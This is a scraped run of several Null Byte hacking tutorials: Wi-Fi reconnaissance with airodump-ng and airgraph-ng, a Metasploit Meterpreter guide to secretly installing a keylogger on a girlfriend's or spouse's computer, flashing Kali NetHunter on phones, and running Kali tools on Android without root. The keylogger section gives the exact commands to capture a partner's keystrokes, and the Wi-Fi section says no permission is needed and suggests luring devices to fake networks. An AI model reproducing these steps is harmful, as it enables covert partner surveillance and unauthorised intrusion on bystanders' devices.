data packets we intercept with our wireless network adapter to a file. This CSV file will allow us to easily process what we've discovered and generate a PNG graph showing the relationships detected.For processing the packets we intercept, we'll be using another program installed by default, Airgraph-ng. This program can visualize two types of information useful for a hacker. The first type of graph is a CAPR, or client access point relationship graph. This graph shows a map of every device currently connected to an access point and which network they are currently connected to.The second kind of chart shows us the names of networks that W-Fi devices not currently connected to an access point are calling out for. This can reveal a list of networks we could create to lure nearby devices into connecting.Airgraph-ng is pretty straightforward, as can be seen by its manual page entry.NAME airgraph-ng - a 802.11 visualization utility SYNOPSIS airgraph-ng [options] DESCRIPITION airgraph-ng graphs the CSV file generated by Airodump-ng. The idea is that we are showing the relationships of the clients to the AP's so don't be shocked if you see only one mapping as you may only have captured one client OPTIONS -h Shows the help screen. -i Airodump-ng CSV file -o Output png file. -g Choose the Graph Type. Current types are [CAPR (Client to AP Relationship) & CPG (Com‐ mon probe graph)]. -a Print the about. EXAMPLES airgraph-ng -i dump-01.csv -o dump.png -g CAPR airgraph-ng -i dump-01.csv -o dump.png -g CPGWhat You'll NeedTo follow along, you'll need awireless network adaptercapable ofwireless monitor mode. You'll also want onecompatible with Kali Linux.More Info:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019You should be running Kali Linux in a virtual machine, dual-booted, or in another fashion that allows Kali to access the network adapter. If you're doing so in a virtual machine, you'll need to connect the USB adapter to the virtual machine for it to appear.For this guide, you do not need to be connected to a network and you do not need permission to make these observations. The information is being broadcasted unencrypted, which means we are merely observing.Good Long-Range Adapter on Amazon:Alfa AWUS036NHA Wireless B/G/N USB Adapter - 802.11n - 150 Mbps - 2.4 GHz - 5 dBi AntennaStep 1: Update Your System & Install if NeededIf you're running Kali Linux, you should have everything you need installed. First, we'll need to update and ensure we have theAircrack-ng suite. To do so, connect your Kali computer to the internet and run the following commands in a terminal window.apt update apt upgrade apt install aircrack-ngNow, let's check that we have the programs installed. Run the following commands to see the help output for each program.airodump-ng --helpAirodump-ng 1.5.2 - (C) 2006-2018 Thomas d'Otreppe https://www.aircrack-ng.org usage: airodump-ng <options> <interface>[,<interface>,...] Options: --ivs : Save only captured IVs --gpsd : Use GPSd --write <prefix> : Dump file prefix -w : same as --write --beacons : Record all beacons in dump file --update <secs> : Display update delay in seconds --showack : Prints ack/cts/rts statistics -h : Hides known stations for --showack -f <msecs> : Time in ms between hopping channels --berlin <secs> : Time before removing the AP/client from the screen when no more packets are received (Default: 120 seconds) -r <file> : Read packets from that file -x <msecs> : Active Scanning Simulation --manufacturer : Display manufacturer from IEEE OUI list --uptime : Display AP Uptime from Beacon Timestamp --wps : Display WPS information (if any) --output-format <formats> : Output format. Possible values: pcap, ivs, csv, gps, kismet, netxml, logcsv --ignore-negative-one : Removes the message that says fixed channel <interface>: -1 --write-interval <seconds> : Output file(s) write interval in seconds --background <enable> : Override background detection. Filter options: --encrypt <suite> : Filter APs by cipher suite --netmask <netmask> : Filter APs by mask --bssid <bssid> : Filter APs by BSSID --essid <essid> : Filter APs by ESSID --essid-regex <regex> : Filter APs by ESSID using a regular expression -a : Filter unassociated clients By default, airodump-ng hops on 2.4GHz channels. You can make it capture on other/specific channel(s) by using: --ht20 : Set channel to HT20 (802.11n) --ht40- : Set channel to HT40- (802.11n) --ht40+ : Set channel to HT40+ (802.11n) --channel <channels> : Capture on specific channels --band <abg> : Band on which airodump-ng should hop -C <frequencies> : Uses these frequencies in MHz to hop --cswitch <method> : Set channel switching method 0 : FIFO (default) 1 : Round Robin 2 : Hop on last -s : same as --cswitch --help : Displays this usage screenairgraph-ng --helpUsage: airgraph-ng options [-o -i -g ] Options: -h, --help show this help message and exit -o OUTPUT, --output=OUTPUT Our Output Image ie... Image.png -i INPUT, --dump=INPUT Airodump txt file in CSV format. NOT the pcap -g GRAPH_TYPE, --graph=GRAPH_TYPE Graph Type Current [CAPR (Client to AP Relationship) OR CPG (Common probe graph)]If you see the help output for both Airodump-ng and Airgraph-ng, then we're ready to start intercepting and interpreting packets!Step 2: Plug in Your Card & Enable Monitor ModePlug in the wireless network adapter you intend to use to sniff Wi-Fi packets. This should be a wireless network adapter that is compatible with Kali Linux. TheAlfa AWUS036NHAis a solid one to use, but there areplenty morethat may fit your needs better.Don't Miss:Check if Your Wireless Network Adapter Supports Monitor ModeOnce you've plugged in your adapter, we can put it into monitor mode by using another program installed with Aircrack-ng. We'll use Airmon-ng to put our card into monitor mode, after runningifconfigto get the name of our network adapter. In our example, our adapter is named "wlan2."airmon-ng start wlan2Found 3 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 561 NetworkManager 627 wpa_supplicant 3561 dhclient PHY Interface Driver Chipset phy0 wlan0 ath9k Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01) phy5 wlan2 rt2800usb Ralink Technology, Corp. RT2870/RT3070 (mac80211 monitor mode vif enabled for [phy5]wlan2 on [phy5]wlan2mon) (mac80211 station mode vif disabled for [phy5]wlan2)Now, runifconfigagain. You should see that your card hasmonadded to the end. This means that your card is now in wireless monitor mode, and you're ready to proceed to the next step.Step 3: Run Airodump-Ng & Save CSV FileNow that our wireless card can listen in on any Wi-Fi packet in the area, we need to start recording this information to a file. We'll use Airodump-ng to do this, effectively dumping all packets received on our network adapter to a file for us to interpret later.Remembering the name of our wireless network adapter which is now in monitor mode, run the following command to save all packets intercepted by the interface "wlan2mon" (or whatever yours is called) to a file namedcapturefile.airodump-ng wlan2mon -w capturefilenameCH 10 ][ Elapsed: 4 mins ][ 2019-02-03 21:32 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 14:CC:20:6D:22:BA -26 69 0 0 8 130 WPA2 CCMP PSK CafeMak4_2.4G AA:6B:AD:6F:AC:55 -31 136 0 0 6 65 WPA2 CCMP PSK DIRECT-HQHL-L9310CDW_BRac55 EC:1D:7F:F9:10:03 -33 159 0 0 6 65 WPA2 CCMP PSK cafemak_pwm 2C:FD:A1:E4:9D:50 -40 109 152 0 9 260 WPA2 CCMP PSK CafeMak1_2.4G 84:1B:5E:E9:8A:1A -52 136 3668 0 11 54e WPA2 CCMP PSK CafeMak6_2.4G 16:18:D6:04:F1:1E -58 54 2 0 1 195 WPA2 CCMP PSK 770staff1 26:18:D6:04:F1:1E -59 74 0 0 1 195 WPA2 CCMP PSK 770guest F8:18:97:65:BC:F3 -59 50 0 0 1 130 WPA2 CCMP PSK ATT717_guest 06:18:D6:04:F1:1E -60 52 0 0 1 195 WPA2 CCMP PSK exec 04:18:D6:04:F1:1E -60 87 0 0 1 195 WPA2 CCMP PSK 770org 3C:36:E4:F7:6D:20 -61 84 0 0 6 130 WPA2 CCMP PSK ATT120 36:18:D6:04:EF:0F -62 71 0 0 6 195 WPA2 CCMP PSK <length: 0> 06:18:D6:04:EF:0F -62 66 0 0 6 195 WPA2 CCMP PSK exec 36:18:D6:04:F1:1E -62 64 0 0 1 195 WPA2 CCMP PSK <length: 0> 04:18:D6:04:EF:0F -63 123 0 0 6 195 WPA2 CCMP PSK 770org F8:18:97:65:BC:F2 -64 46 5 0 1 130 WPA2 CCMP PSK ATT717 04:18:D6:04:2E:FA -64 44 0 0 1 195 WPA2 CCMP PSK rb 26:18:D6:04:EF:0F -64 97 0 0 6 195 WPA2 CCMP PSK 770guest 16:18:D6:04:EF:0F -64 78 0 0 6 195 WPA2 CCMP PSK 770staff1 A0:8C:FD:B7:9D:A9 -65 68 0 0 6 65 WPA2 CCMP PSK DIRECT-A8-HP OfficeJet 4650 E8:8D:28:60:BE:77 -68 63 3 0 6 195 WPA2 CCMP PSK Joel's Wi-Fi NetworkWhen we're done collecting packets, you can typeCtrl-cto stop the capture. This will generate a CSV file containing all the information we need.Step 4: Generate a Graph of AP Relationships (Connected Devices)Now, it's time to generate our first graph from the wireless data we've intercepted. You can think of this data like metadata, telling us which devices were calling each other, but not what they were saying.First, we'll start a graph of the client AP relationships. After locating the CSV file we created, run the following command in a terminal window to create a CAPR graph of which device is connected to which access point. Replace "CAPRintercept.png" with the name of the graph you want to create, and '/root/Desktop/cafemak-01.csv' with the path to the CSV file.airgraph-ng -o CAPRintercept.png -i '/root/Desktop/cafemak-01.csv' -g CAPR**** WARNING Images can be large, up to 12 Feet by 12 Feet**** Creating your Graph using, /root/Desktop/cafemak-01.csv and writing to, cafemak.png Depending on your system this can take a bit. Please standby......This should generate a graph to explore. Here we can see an example showing the relationship between access points and devices, clearly giving an overview of the local network topography.Step 5: Generate a Graph of Probe Frames (Disconnected Devices)Next, let's target devices nearby which are not currently connected to an AP. From these devices, we can learn the names of networks they have been connected to before, allowing us to potentially trick them into connecting to a fake version with the same name.Don't Miss:Log Wi-Fi Probe Requests from Smartphones & LaptopsTo get this information, we'll just re-process the data we intercepted into a different kind of graph. There is no need to go back and collect more information, we're just going to visualize it in another way.Open a terminal window and type the following commands, swapping out "CPGintercept.png" for the name of the file you want to save the graph under, and '/root/Desktop/cafemak-01.csv' again for the location of the CSV file you created earlier from the captured data.airgraph-ng -o CPGintercept.png -i '/root/Desktop/cafemak-01.csv' -g CPG**** WARNING Images can be large, up to 12 Feet by 12 Feet**** Creating your Graph using, /root/Desktop/cafemak-01.csv and writing to, cafemak.png Depending on your system this can take a bit. Please standby......Airgraph-ng should generate a new graph showing networks nearby devices are calling out for. This can allow you to also identify which networks can make multiple nearby devices connect.Interpret the ResultsFor a hacker or penetration tester, the previous two graphs provide a goldmine of information. In the first, we're able to see which access point every nearby device is connected to, allowing us to isolate or capture clients onto fake MITM networks if we identify a target. Because of this, we can create a fake version of a network a device is currently connected to, kick them off the real network, and cause them to automatically connect to the fake version.In the second graph, we're able to identify networks we could create that would cause several different devices to connect. These graphs can also reveal devices using MAC address randomization, because even devices that change their MAC address may call out for a network with a unique name as they continue to change their MAC.Hackers can use this information about the type of hardware present and the way it's connected to come up with a plan of attack against a network. Because this attack is totally passive and requires no interaction with the network, the risk of being caught snooping on this information is almost nonexistent.I hope you enjoyed this guide to using Airgraph-ng for Wi-Fi signals intelligence! If you have any questions about this tutorial on Wi-Fi recon or you have a comment, ask below or feel free to reach me on [email protected]'t Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Force Switch to T-Mobile or Sprint on Project FiHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Hack WPA wireless networks for beginners on Windows and LinuxNews:Baidu's AI & Driverless Expert ResignsHow To:Set Up an EviltwinHow To:Bypass a Local Network Proxy for Free InternetHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:US spy agency can keep mum on Google ties: courtNews:Farmville NOT LEAVING FacebookHow To:Kick People Off Your InternetHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHow To:Play Spy!News:Thankful for My RelationshipNews:House Approves Amendment To Limit Pentagon Drones Spying On AmericansCake Mixx:Psychoanalysis Based on CAKE!!!
Hack Like a Pro: How to Remotely Install a Keylogger onto Your Girlfriend's Computer « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!Several of you have you have emailed me asking whether it's possible to install a keylogger on a victim's computer using Metasploit. The answer is a resounding "YES"!So, by popular request, in this guide I'll show you how to install a keylogger on your girlfriend's, boyfriend's, wife's, or husband's computer.For those of you wondering what a keylogger is, the simple answer is that it's a piece of software or hardware that captures every keystroke and saves them for retrieval by you, the attacker. These types of devices have long been used by hackers to capture logins, passwords, social security numbers, etc. Here we will use it to capture the keystrokes of a cheating girlfriend.Fire upMetasploitand let's get started.Like in my last article ondisabling antivirus software, I'm assuming that you've successfully installed Metasploit's powerful listener/rootkit on the target system. You can also check my earlierHack Like a Proarticles for a variety of ways to get it installed.Step 1: Migrate the MeterpreterBefore we start our keylogger, we need to migrate the Meterpreter to the application or process we want to log the keystrokes from. Let's check to see what processes are running on the victim system by typing:meterpreter >psNotice in the screenshot above that we have a listing of every process running on the victim system. We can see about 1/3 of the way down the process listing with a Process ID (PID) of 912, the Notepad application is open and running.Let's migrate to that process and capture any keystrokes entered there. Type:meterpreter > migrate 912You can see from the screenshot that Meterpreter responds that we have migrated successfully,Step 2: Start the KeyloggerNow that we have migrated the Meterpreter to the Notepad, we can embed the keylogger.Metasploit's Meterpreter has a built-in software keylogger called keyscan. To start it on the victim system, just type:meterpreter> keyscan_startWith this command, Meterpreter will now start logging every keystroke entered into the Notepad application.Step 3: Write a Short Note on the Victim SystemLet's now move to our victim system and write a short note to make sure it works.As you can see in screenshot above, Cheatah has written a short note to Stud, asking him to come visit while her boyfriend is gone. All of these keystrokes are being captured by our keylogger providing us with evidence of her cheating heart (or some other organ).Step 4: Recover the KeystrokesNow, let's go back to our system with Meterpreter running on Metasploit. We can now dump all of the keystrokes that were entered on Cheatah's computer. We simply type:meterpreter> keyscan_dumpAs you can see, every keystroke has been captured including the tabs and end of line characters. Now you have the evidence on Cheatah!In my next articles, we'll continue to look at other powerful features of Metasploit's Meterpreter.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byEd YourdonRelatedHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHack Like a Pro:How to Remotely Record & Listen to the Microphone on Anyone's ComputerHacking Windows 10:How to Capture Keystrokes & Passwords RemotelyHow To:Check Your MacOS Computer for Malware & KeyloggersHow To:Deploy a Keylogger from a USB Flash Drive QuicklyHow To:Capture Unauthorized Users Trying to Bypass Your Windows 8 Lock ScreenHow To:Get More Bro Time by Automating Loving Texts to Your GirlfriendHow To:4 Ways to Crack a Facebook Password & How to Protect Yourself from ThemHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHow To:Run Windows 7 on a Nokia n900 SmartphoneHack Like a Pro:How to Hack Windows 7 to See Whether Your Girlfriend Is Cheating or NotHow To:Access & Control Your Computer Remotely with Your Nexus 5How To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Use ShowMyPc.com to hack into someone's computer remotelyHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Access & Control Your Computer Remotely Using Your iPhoneHow To:Use a Keylogger to Record What Friends Do on Your AndroidHack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHacking Windows 10:How to Capture & Exfiltrate Screenshots RemotelyHow To:Install VNC remotely on a Windows XP PCHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionHow To:Sneak into Your Roommate's Computer by Bypassing the Windows Login ScreenNews:What does Pro Tools HD Native mean for you?How To:Run a Virtual Computer Within Your Host OS with VirtualBoxNews:games not to play with your girlfriend and games that she will loveBoo Box Challenge:AnniversaryHow To:Install Linux to a Thumb DriveHow To:Access Xampp Server Remotely
How to Flash Kali NetHunter on OnePlus and Nexus Devices (Most) As a Secondary ROM « Null Byte :: WonderHowTo
Hello there, 'Flashers'!Welcome to my 8th Post. This tutorial will explain how to flash Kali NetHunter on OnePlus (Tested) and Nexus Devices (Not Tested-Should work) as a secondary ROM, so that none of your personnel data/ROM gets affected.NetHunter?Refer to Ciuffy's Post,right herePre-Requisites:1) Device should be rooted2) Should have TWRP custom Recovery Installed/Flashed.3) (Bootloader, should be unlocked, if locked)4) ABack Upif anything goes wrong. (Make it using the recovery)For OnePlushereis a guide on all of this from XDA.Step 1: Installing MultiROM :Install MultiROM manager from Google Playstore1) After installing, Open it.2) Tick all the Check-boxes3) In the last one choose the correct Kernel (Kitkat or Lollipop)(WARNING:Check the Kernel Status: It should be in Green Letters, but if inREDthen, ask about it in the comments section)4) Tap Install5) This will do everything for you, sit back and relax, it will take time.6) After everything goes right, you should have:A modified custom recovery,A boot manager at start-up that asks, which ROM to boot into. (Press cancel so it won't automatically boot into the Internal ROM)The same application, in the internal ROM, which manages every ROM, and Check for Updates.Step 2: Downloading CM11-M11 ROM:We will be using this because it is highly compatible with MultiROM.Gotothiswebsite, and Download CM11 M11 ROM for OnePlus.Clickherefor WiFi Model Nexus 2013Clickherefor 4G/LTE Model Nexus 2013Clickherefor LG Nexus 5Clickherefor Nexus 4Go to your default search engine (Google) and search this ROM for your Device if not listed here.Step 3: Downloading Kali NetHunterGo to theOfficial website of KaliScroll down to the bottom and download the correct image (actually .zip) for your Device.Don't use the Windows Installer.Step 4: Downloading SuperSU.Zip and BusyBox:DownloadthisSuper User update.Also, Download BusyBox from Playstore or fromhereStep 5: FLASHING CM11-M11 as a Secondary ROM:After all of your Weapons are ready, it's time to FIRE. (I mean Flash)Move all the items to the root of your SD-card in your Device (or any other Folder)Reboot your system to Custom Recovery. (Vol-Down + Power, when device is turned off)Once booted, go to Advanced, then MultiROM settings, tap on add ROMTap on Next. (Or choose where do you want to install the ROM Eg: A Flash/Pen Drive)Choose ZIP fileChoose cm-11-20141008-SNAPSHOT-M11-xxxx.zip (The ROM you just Downloaded)Swipe to ConfirmOnce Finished, Reboot system.------------------------------------------------Flashed--------------------------------------------Use the MultiROM manager at Start-up to boot into The Flashed ROM.Go out there and explore!Install BusyBox, open it and then Install it. (It may/will fail because the system is not rooted) (Don't worry its temporary, you may even skip this step)Once you are happy, and want to move on, Follow the next step.Step 6: FLASH KALI NET-HUNTER!!!Reboot to Recovery.Go to MultiROM settings.Tap on 'List ROMs'Choose the CM11-M11 ROMTap the small button stating 'Flash ZIP'Choose The Kali Nethunter.zip you just downloaded.Swipe to Confirm FlashAfter flashing, Reboot system.-----------------------------------------FLASHED-------------------------------------------------Congratulations you Successfully Flashed Kali NetHunter!!Boot into the ROMEXPLORE! Go Go Go!Sort things out, install necessary apps, play-store, Google services etc..Tap on KaliNetHunter Home (App) and Explore it too!However any service provided by it won't WORK, because the ROM is not Rooted.Then what are we waiting for? Let's gain the root access.Step 7: Rooting the ROM:It's too easy! (Now that you have practice)Reboot to Custom/TWRP Recovery.Go to MultiROM settings.Then to 'List ROM'.Choose the same ROMThen to 'Flash ZIP'.Choose The SuperSU.zip that you downloaded.Swipe to Confirm Flash.After the Flash Reboot System.--------------------------------------------FLASHED/ROOTED--------------------------------The FUN Begins:And now rename the ROM if you want to, using the manager in Internal ROM.Boot into NetHunter.So you are good to Go!Every service offered by NetHunter can be accessed!Also download SuperSU.apk from the playstore and Install BusyBox again.ENJOY! EXPLOIT! HAVE FUN!The Tutorial ENDS:When following this tutorial, I hope you could learn something from it (me too) about Flashing and Roots. And now, I think you can Flash any ROMs that you need.{When you are in the boot manager, at start-up, tap the top-left icon, of the MultiROM manager, see what happens (a little game! lol)}Good Luck!There is an issue with OnePlus I think, Sometimes, it may get suck into a boot-loop but that's Fine, just press the key combination for custom recovery until the device turns-off. Then release the buttons and press them again, once you get booted to custom recovery, reboot system from there.Keep Coming back for more!!Thank You,F.3.A.R.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Build and Install Kali Nethunter (The New Version) On a Supported Android Device Running Android 6.0.1How To:Don't Like CyanogenMod? Here Are 4 Great Alternative ROMs for Your OnePlus OneHow to Root Android:Our Always-Updated Rooting Guide for Major Phone ModelsHow To:Install the Official OnePlus OxygenOS (Lollipop ROM)How To:Dual-Boot Multiple ROMs on Your Nexus 6How To:Convert Any KitKat ROM on Your Nexus 4 or 5 to a Faster Flash-Friendly File SystemHow To:Get Early Access to the Official OnePlus One Custom ROMHow To:Unlock the Bootloader, Install a Custom Recovery, & Root the OnePlus OneHow To:Get Custom ROM Options on Your Nexus Without Installing a Custom ROMHow To:Install Cyanogen OS 12 on Your OnePlus OneHow To:Get Stock Lollipop Sounds on Custom ROMs for the Nexus 6News:4 Ways the OnePlus 6T Makes Rooting EasyHow To:Change the Color of Your OnePlus One's Lock ScreenHow To:The Definitive Nexus 7 Guide to Bootloader Unlocking, Rooting, & Installing Custom RecoveriesNews:Always-Updated List of Android 10 Custom ROMs for Every Major PhoneHow To:This All-in-One Mods Catalog Makes Customizing the OnePlus One Extremely ConvenientHow To:Multi-Boot Your Nexus 5 to Install & Switch Between Custom ROMs More EasilyHow To:Get Early Access to CyanogenMod 12's Theme Engine on Your OnePlus OneHow To:Root, Unlock, & Restore Your OnePlus One with Bacon Root ToolkitHow To:Install a Custom ROM on Your Nexus 5 (A Newb-Friendly Guide)News:4 Reasons the OnePlus 5T Is the Best Phone for Rooting & Modding in 2018How To:The Definitive Guide to Backing Up Your Nexus 7 TabletHow To:Fix Scrolling Lag in Apps on Your OnePlus OneHow To:Update Your OnePlus One to Lollipop TodayHow To:Install the Xposed Framework on Your Nexus 7 for Insane CustomizationHow To:While We Wait on LineageOS, You Can Still Install CyanogenMod—Here's HowHow To:Add “Hey, Snapdragon” Voice Detection to Your OnePlus OneHow To:Turn Any Nexus 7 Tablet into a Samsung Galaxy Tab Running TouchWizHow To:The Definitive Guide on How to Restore Your Nexus 7 Tablet (Even if You've Bricked It)News:The One Deadly Command That You Should NEVER Run on a NexusHow To:Easily Root Your Nexus 7 Tablet Running Android 4.3 Jelly Bean (Windows Guide)
Android for Hackers: How to Turn an Android Phone into a Hacking Device Without Root « Null Byte :: WonderHowTo
With just a few taps, anAndroidphone can be weaponized into a covert hacking device capable of running tools such asNmap,Nikto, andNetcat— all without rooting the device.UserLAnd, created byUserLAnd Technologies, is a completely free Android app that makes installing Linux distributions quick and effortless, without any rooting. With this, it's possible to run anARM64 Debianoperating system alongside the current Android OS. Sometimes referred to as "AARCH64," this ARM architecture is the same used by theKali Linux Raspberry Pi ARM images, which makes it easy to import Kali's tool repository. And best of all, the UserLAnd team recently added a dedicated Kali filesystem so importing repositories won't be necessary for all users.All of the created filesystems are easily disposable. While many Kali tools work without issues, UserLAnd is still a new project and may cause some tools (like Nmap) to break or fail when executing certain commands. It's worth mentioning, these issues will likely be resolved in the near future.Don't Miss:How to Hack a Mac Password Without Changing ItFor the technically inclined, UserLAndutilizescustom scripts and executables that allow it to create the Debian and Ubuntu filesystems. One example of this isPRoot, anopen-source softwarethat implements functionalities similar tochroot. PRoot allows you to execute programs with an alternative root directory, no root needed. Normally, auser-spaceapplication will communicate directly with the Kernel throughsystem calls. With UserLAnd, PRoot is running in the background, interpreting these system calls, and it will perform and manipulate them when necessary to emulate users and permissions in the filesystem.We'll start by installing an SSH client, which will be the primary app for interacting with the Debian OS. Then, I'll walk through some OS setup tips and importing the Kali Linux repository to really turn Android into a hacking device. As some readers may know, Kali Linux is based on the Debian operating system, so importing their repository won't cause anything to break or become unreliable.Step 1: Install the ConnectBot App (Optional)UserLAnd recently added a built-in SSH functionality, so this step is no longer required. However, third-party SSH clients can still be used if preferred.ConnectBotis anopen-sourceSSH client designed for Android smartphones, which allows you to securely connect with SSH servers. This will be the primary way of interacting with the new UserLAnd Debian operating system. If you don't use or have access to Google Play, ConnectBot is available via theF-Droid repository.Play Store Link:ConnectBot(free)F-Droid Link:ConnectBot(free)JuiceSSHis also a very good option to use instead of ConnectBot since it has more features, so you can use that if you'd rather. ConnectBot is more regularly updated and easier for beginners, so we went with that.Step 2: Install the UserLAnd AppI've already covered what UserLAnd is and does above, so I won't go over anything else in detail here. The important thing is that you install it, and you can do so using either Google Play or F-Droid.Play Store Link:UserLAnd(free)F-Droid Link:UserLAnd(free)Disclaimer: UserLAnd does have limitations. Without root access, Android's Wi-Fi interface can't be switched into monitor mode, so traditionalWi-Fi hacking toolslike Aircrack-ng won't work. However, there's still a lot that can be done with UserLAnd, as you'll see in future guides, and running Kali without rooting or wiping the Android OS is no easy achievement. So be sure to give the UserLAnd app a good rating on Google Play — the developers totally deserve some positive feedback.Step 3: Create a New FilesystemWhen the installation is complete, open UserLAnd, and view the "Apps" tab. Refresh the tab and wait a few minutes for the distributions to populate.The Kali Linux OS has recently been added to the list of available distributions. Select "Kali" or "Debian" and the UserLAnd app will prompt for credentials. Create a username, password, and VNC password. The "Password" will allow access to the SSH server started when the filesystem is finished installing. The "VNC Password" won't be used in this tutorial but is required to proceed with the installation.UserLAndwill then downloadthe necessary executables and scripts from its GitHub repository that are used to create the filesystems. The time it takes to download and extract the required assets will vary based on the Android CPU and internet connection speed. The installation process took up to 20 minutes to complete in some tests, so be patient.In my first attempt, UserLAnd returned the following "Could not extract filesystem. Something went wrong" error. Removing and reinstalling the UserLAnd application seemed to resolve the issue. If this error persists,open a new GitHub issue.Step 4: Interact with the FilesystemWhen the installation is complete, head over to the "Sessions" tab, and select the newly created option. UserLAnd will automatically attempt to open ConnectBot and ask "Are you sure you want to continue connecting?" Tap "Yes," and enter the password created in the previous step.At this point, syncing aBluetooth keyboardto the phone will make setting up the OS easier, but isn't required. If you don't use a Bluetooth keyboard, I recommend installingHacker's Keyboardfrom the Play Store, and you'll see why as we continue.Recommended on Amazon:FAVI Mini Bluetooth Keyboard with Laser Pointer & Backlit KeysStep 5: Update the OSThe first thing to do after installing a new operating system on your Android phone is making sure the system is fully up to date. This can be done by first usingsuto create a root shell. Next, use theapt-getupdate && apt-get dist-upgradecommand.distortion@localhost:~$ su root@localhost: /home/distortion# apt-get update && apt-get dist-upgrade Ign:1 http://cdn-fastly.deb.debian.org/debian stable InRelease Get:2 http://cdn-fastly.deb.debian.org/debian stable-updates InRelease [91.0 kB] Hit:3 http://cdn-fastly.deb.debian.org/debian stable Release Get:4 http://cdn-fastly.deb.debian.org/debian stable Release.gpg [2434 B] Get:5 http://cdn-fastly.deb.debian.org/debian stable-updates/main arm64 Packages [5096 B] Get:6 http://cdn-fastly.deb.debian.org/debian stable-updates/main Translation-en [4512 B] Get:7 http://cdn-fastly.deb.debian.org/debian stable/main Translation-en [5393 B] Get:8 http://cdn-fastly.deb.debian.org/debian stable/contrib arm64 Packages [29.9 kB] Get:9 http://cdn-fastly.deb.debian.org/debian stable/contrib Translation-en [45.9 kB] Get:10 http://cdn-fastly.deb.debian.org/debian stable/non-free arm64 Package [50.8 kB] Get:11 http://cdn-fastly.deb.debian.org/debian stablenon-free Translation-en [80.6 kB] Fetched 5714 kB in 31s (183 kB/s) Reading package lists... Done Reading package lists... Done Building dependency tree... Done Calculating upgrade... Done The following packages will be upgraded: tzdata 1 upgraded, 0 newly intalled, 0 to remove and 0 not upgraded. Need to get 270 kB of archives. After this operation, 1024 B of additional disk space will be used. Do you want to continue? [Y/n]In the case of the above output, there's only one package that needed updating, but this might not always be true.Don't Miss:Top 10 Things to Do After Installing Kali LinuxStep 6: Install Essential SoftwareThis new filesystem is extremely bareboned and doesn't include very much software by default. Below are a few packages recommended for everyday Debian and Kali users. Some packages aren't required but will make it easier to follow along in future articles where Android is used as the primary hacking device.screen—Screenis a terminal multiplexer that allows users to run and alternate between several terminal sessions simultaneously. This is one of the most vital packages to install when using UserLAnd. Android phones don't handle prolonged SSH sessions well and tend to break connections for no apparent reason. Such breakage can cause running commands to fail with no way of reconnecting to the session to view the progress. Use Screen to maintain persistent shell sessions.net-tools— Net-tools is a suite of tools containingifconfig, netstat, route, and several other useful networking applications.netcat— Netcat is a feature-rich UNIX utility designed to be a reliable tool for creating TCP and UDP connections. Netcat can be used to create and interact withsimple macOS backdoors.neofetch— Neofetch (shown in the cover photo of this article) is a cross-platform system information gathering tool. It conveniently displays system specifications alongside the distribution logo. There's no real function for this package other than showing-off the distribution to coworkers and friends or creating cover photos for WonderHowTo. Neofetch is a little buggy with UserLAnd distros, but you may want to know how I created the cover photo, so I'm including it here.gnupg—GnuPG(sometimes referred to as gpg) is generally used forencrypting filesand securing email communications. Some installer scripts (like Metasploit) use gpg in order to import their software signing keys. It's possible to manually installMetasploitwithout gpg, but it will make the process less complicated.curl— cURL is a command line tool capable of downloading files over HTTP and other popular protocols. This is a useful tool to have for downloading files from the internet.wget— Like cURL, wget is a command line tool used to download files from the internet. Some developers prefer wget over cURL, so it's helpful to keep both installed and available.git— Git is a popular version control software and is commonly used to clone (download) GitHub projects. Git is often recommended by Null Byte users.nano— Nano is a command line text editor. Nano will make editing files via SSH more 